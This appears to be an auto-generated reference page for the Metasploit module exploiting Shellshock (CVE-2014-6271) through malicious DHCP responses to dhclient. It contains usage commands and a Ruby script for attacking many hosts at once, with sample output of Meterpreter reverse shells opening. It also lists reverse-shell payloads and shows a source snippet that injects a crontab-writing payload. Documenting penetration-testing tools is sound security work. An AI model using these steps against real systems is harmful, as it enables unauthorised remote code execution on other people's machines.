Dhclient Bash Environment Variable Injection (Shellshock) - Metasploit


This page contains detailed information about how to use the exploit/unix/dhcp/bash_environment metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Dhclient Bash Environment Variable Injection (Shellshock)
Module: exploit/unix/dhcp/bash_environment
Source code: modules/exploits/unix/dhcp/bash_environment.rb
Disclosure date: 2014-09-24
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-6271

This module is also known as Shellshock.

This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets dhclient by responding to DHCP requests with a malicious hostname, domainname, and URL which are then passed to the configuration scripts as environment variables, resulting in code execution. Due to length restrictions and the unusual networking scenario at the time of exploitation, this module achieves code execution by writing the payload into /etc/crontab and then cleaning it up after a session is created.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using bash_environment against a single host

Normally, you can use exploit/unix/dhcp/bash_environment this way:

msf > use exploit/unix/dhcp/bash_environment
msf exploit(bash_environment) > show targets
    ... a list of targets ...
msf exploit(bash_environment) > set TARGET target-id
msf exploit(bash_environment) > show options
    ... show and set options ...
msf exploit(bash_environment) > exploit

Using bash_environment against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your bash_environment will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/dhcp/bash_environment")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • SRVHOST: The IP of the DHCP server

  • NETMASK: The netmask of the local subnet

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Msfconsole Usage

Here is how the unix/dhcp/bash_environment exploit module looks in the msfconsole:

msf6 > use exploit/unix/dhcp/bash_environment

msf6 exploit(unix/dhcp/bash_environment) > show info

       Name: Dhclient Bash Environment Variable Injection (Shellshock)
     Module: exploit/unix/dhcp/bash_environment
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-24

Provided by:
  Stephane Chazelas
  egypt <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  BROADCAST                     no        The broadcast address to send to
  DHCPIPEND                     no        The last IP to give out
  DHCPIPSTART                   no        The first IP to give out
  DNSSERVER                     no        The DNS server IP address
  FILENAME                      no        The optional filename of a tftp boot server
  HOSTSTART                     no        The optional host integer counter
  NETMASK                       yes       The netmask of the local subnet
  ROUTER                        no        The router IP address
  SRVHOST                       yes       The IP of the DHCP server

Payload information:
  Space: 200

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the 
  Bash shell handles external environment variables. This module 
  targets dhclient by responding to DHCP requests with a malicious 
  hostname, domainname, and URL which are then passed to the 
  configuration scripts as environment variables, resulting in code 
  execution. Due to length restrictions and the unusual networking 
  scenario at the time of exploitation, this module achieves code 
  execution by writing the payload into /etc/crontab and then cleaning 
  it up after a session is created.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-6271
  https://cwe.mitre.org/data/definitions/94.html
  OSVDB (112004)
  https://www.exploit-db.com/exploits/34765
  https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
  https://seclists.org/oss-sec/2014/q3/649
  https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Also known as:
  Shellshock

Module Options

This is a complete list of options available in the unix/dhcp/bash_environment exploit:

msf6 exploit(unix/dhcp/bash_environment) > show options

Module options (exploit/unix/dhcp/bash_environment):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER                     no        The DNS server IP address
   FILENAME                      no        The optional filename of a tftp boot server
   HOSTSTART                     no        The optional host integer counter
   NETMASK                       yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST                       yes       The IP of the DHCP server

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options

Here is a complete list of advanced options supported by the unix/dhcp/bash_environment exploit:

msf6 exploit(unix/dhcp/bash_environment) > show advanced

Module advanced options (exploit/unix/dhcp/bash_environment):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/dhcp/bash_environment module can exploit:

msf6 exploit(unix/dhcp/bash_environment) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/dhcp/bash_environment exploit:

msf6 exploit(unix/dhcp/bash_environment) > show payloads

Compatible Payloads
===================

   #  Name                                        Disclosure Date  Rank    Check  Description
   -  ----                                        ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   1  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   2  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   3  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   4  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   5  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   6  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   7  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the unix/dhcp/bash_environment exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/dhcp/bash_environment) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

payload too long

Here is a relevant code snippet related to the "payload too long" error message:

76:	    # escaped
77:	    p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
78:	    echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
79:	    hash['DOMAINNAME'] = "() { :; };#{echo}"
80:	    if hash['DOMAINNAME'].length > 255
81:	      raise ArgumentError, 'payload too long'
82:	    end
83:	
84:	    hash['HOSTNAME'] = "() { :; };#{echo}"
85:	    hash['URL'] = "() { :; };#{echo}"
86:	    start_service(hash)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Stephane Chazelas
  • egypt

Version

This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

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